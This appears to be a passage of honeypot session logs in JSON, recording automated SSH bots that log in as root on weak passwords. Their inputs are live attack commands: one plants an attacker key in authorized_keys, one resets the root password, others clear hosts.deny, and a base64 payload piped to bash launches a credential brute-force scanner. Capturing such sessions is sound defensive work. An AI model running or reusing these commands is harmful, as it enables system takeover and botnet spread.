0"},{"seq":12,"at":"2026-08-24T22:06:42.218798+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T22:06:42.703643+00:00","kind":"output","latency_ms":484,"data":"-rwxr-xr-x 1 root root 142K Aug 10 14:22 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T22:06:43.262922+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T22:06:43.263410+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T22:06:43.822385+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T22:06:43.822738+00:00","kind":"output","latency_ms":null,"data":" 22:06:43 up 4 days, 18:56, 0 user, load average: 0.26, 0.29, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T22:06:44.380732+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T22:06:44.381285+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T22:06:44.937395+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T22:06:44.938235+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T22:06:45.498999+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T22:06:45.499686+00:00","kind":"output","latency_ms":null,"data":"top - 22:06:45 up 4 days, 18:56, 0 user, load average: 0.26, 0.29, 0.22\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T22:06:46.058822+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T22:06:46.059519+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T22:06:46.619262+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T22:06:46.619932+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T22:06:47.177950+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T22:06:47.178483+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T22:06:47.737082+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T22:06:51.075713+00:00","kind":"output","latency_ms":3334,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC"},{"seq":32,"at":"2026-08-24T22:06:51.631772+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T22:06:53.162304+00:00","kind":"output","latency_ms":1529,"data":"24G"},{"seq":34,"at":"2026-08-24T22:06:55.002402+00:00","kind":"input","latency_ms":null,"data":"echo \"root root14\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T22:06:55.560739+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T22:06:56.026680+00:00","kind":"output","latency_ms":463,"data":""},{"seq":37,"at":"2026-08-24T22:06:57.543054+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T22:06:58.599050+00:00","kind":"output","latency_ms":1056,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T22:06:59.158253+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T22:06:59.689379+00:00","kind":"output","latency_ms":527,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T22:07:00.253683+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T22:07:00.806962+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T22:07:01.254293+00:00","kind":"output","latency_ms":447,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T22:07:01.814958+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T22:07:02.262063+00:00","kind":"output","latency_ms":446,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T22:07:02.823130+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T22:07:11.631549+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T22:07:11.632015+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"root14","method":"password","accepted":true,"tier":"other"}]} {"id":"33711d99-bb98-4dec-8455-b964f5c6c109","name":"ashen-languid-capuchin","protocol":"ssh","channel_kind":"exec","src_ip":"43.153.205.159","src_port":39638,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":782,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T22:04:42.105280+00:00","ended_at":"2026-08-24T22:04:42.350865+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3989,"events":[{"seq":1,"at":"2026-08-24T22:03:59.398350+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T22:04:00.168551+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T22:04:05.990615+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T22:04:05.992293+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T22:04:06.764279+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YjuvlKAMVRz5\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T22:04:07.524628+00:00","kind":"output","latency_ms":762,"data":""},{"seq":7,"at":"2026-08-24T22:04:07.532902+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-24T22:04:08.308949+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-24T22:04:08.309526+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-24T22:04:09.090761+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T22:04:09.671171+00:00","kind":"output","latency_ms":577,"data":"15888 4120 9768 128 1784 8336"},{"seq":12,"at":"2026-08-24T22:04:10.446856+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T22:04:11.393166+00:00","kind":"output","latency_ms":946,"data":"-rwxr-xr-x 1 root root 147K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T22:04:12.183198+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T22:04:12.183643+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T22:04:12.969795+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T22:04:12.970276+00:00","kind":"output","latency_ms":null,"data":" 22:04:12 up 4 days, 18:54, 0 user, load average: 0.18, 0.17, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T22:04:13.745164+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T22:04:13.745914+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T22:04:14.536788+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T22:04:14.537242+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T22:04:15.316209+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T22:04:15.316804+00:00","kind":"output","latency_ms":null,"data":"top - 22:04:15 up 4 days, 18:54, 0 user, load average: 0.18, 0.17, 0.19\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T22:04:16.100091+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T22:04:16.100539+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T22:04:16.876117+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T22:04:16.876995+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T22:04:17.677838+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T22:04:17.678313+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T22:04:18.467487+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T22:04:19.682962+00:00","kind":"output","latency_ms":1215,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-24T22:04:20.459083+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T22:04:21.185937+00:00","kind":"output","latency_ms":725,"data":"25G"},{"seq":34,"at":"2026-08-24T22:04:23.625241+00:00","kind":"input","latency_ms":null,"data":"echo \"root SiChuanLT\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T22:04:24.395827+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T22:04:24.899133+00:00","kind":"output","latency_ms":501,"data":""},{"seq":37,"at":"2026-08-24T22:04:27.163439+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T22:04:27.871711+00:00","kind":"output","latency_ms":708,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T22:04:28.652875+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T22:04:29.140782+00:00","kind":"output","latency_ms":485,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T22:04:29.923158+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T22:04:30.707623+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T22:04:31.208075+00:00","kind":"output","latency_ms":499,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T22:04:31.991087+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T22:04:32.459311+00:00","kind":"output","latency_ms":467,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T22:04:33.241779+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T22:04:42.106487+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T22:04:42.106882+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"SiChuanLT","method":"password","accepted":true,"tier":"other"}]} {"id":"f6f3ca3f-8bb8-4346-9617-014935b9dd74","name":"burly-patient-vicuna","protocol":"ssh","channel_kind":"exec","src_ip":"141.95.54.130","src_port":59206,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":308,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T21:25:17.339639+00:00","ended_at":"2026-08-24T21:25:17.428604+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4003,"events":[{"seq":1,"at":"2026-08-24T21:24:48.750630+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T21:24:49.057820+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T21:24:54.310637+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T21:24:54.311139+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T21:24:54.622675+00:00","kind":"input","latency_ms":null,"data":"echo \"root:NVTAebNvwU7l\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T21:24:54.935887+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T21:24:55.247870+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T21:24:55.248566+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T21:24:55.286559+00:00","kind":"output","latency_ms":663,"data":""},{"seq":10,"at":"2026-08-24T21:24:55.557589+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T21:24:56.245810+00:00","kind":"output","latency_ms":687,"data":"15888 4231 11657 0 0 0"},{"seq":12,"at":"2026-08-24T21:24:56.554704+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T21:24:57.505920+00:00","kind":"output","latency_ms":950,"data":"-rwxr-xr-x 1 root root 148K Jan 18 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T21:24:57.814770+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T21:24:57.815225+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T21:24:58.123566+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T21:24:58.123998+00:00","kind":"output","latency_ms":null,"data":" 21:24:58 up 4 days, 18:15, 0 user, load average: 0.22, 0.16, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T21:24:58.431623+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T21:24:58.432308+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T21:24:58.742534+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T21:24:58.743199+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T21:24:59.053345+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T21:24:59.053733+00:00","kind":"output","latency_ms":null,"data":"top - 21:24:59 up 4 days, 18:15, 0 user, load average: 0.22, 0.16, 0.2\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T21:24:59.361060+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T21:24:59.361494+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T21:24:59.669484+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T21:24:59.670130+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T21:24:59.979955+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T21:24:59.980580+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T21:25:00.288514+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T21:25:01.759235+00:00","kind":"output","latency_ms":1469,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-24T21:25:02.067481+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T21:25:02.841965+00:00","kind":"output","latency_ms":773,"data":"24G"},{"seq":34,"at":"2026-08-24T21:25:03.932677+00:00","kind":"input","latency_ms":null,"data":"echo \"root 3edcVFR$\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T21:25:04.241439+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T21:25:04.700029+00:00","kind":"output","latency_ms":458,"data":""},{"seq":37,"at":"2026-08-24T21:25:05.302874+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T21:25:05.767936+00:00","kind":"output","latency_ms":464,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T21:25:06.076727+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T21:25:06.513559+00:00","kind":"output","latency_ms":436,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T21:25:06.822961+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T21:25:07.129457+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T21:25:07.936226+00:00","kind":"output","latency_ms":806,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T21:25:08.244997+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T21:25:08.759945+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T21:25:09.072152+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 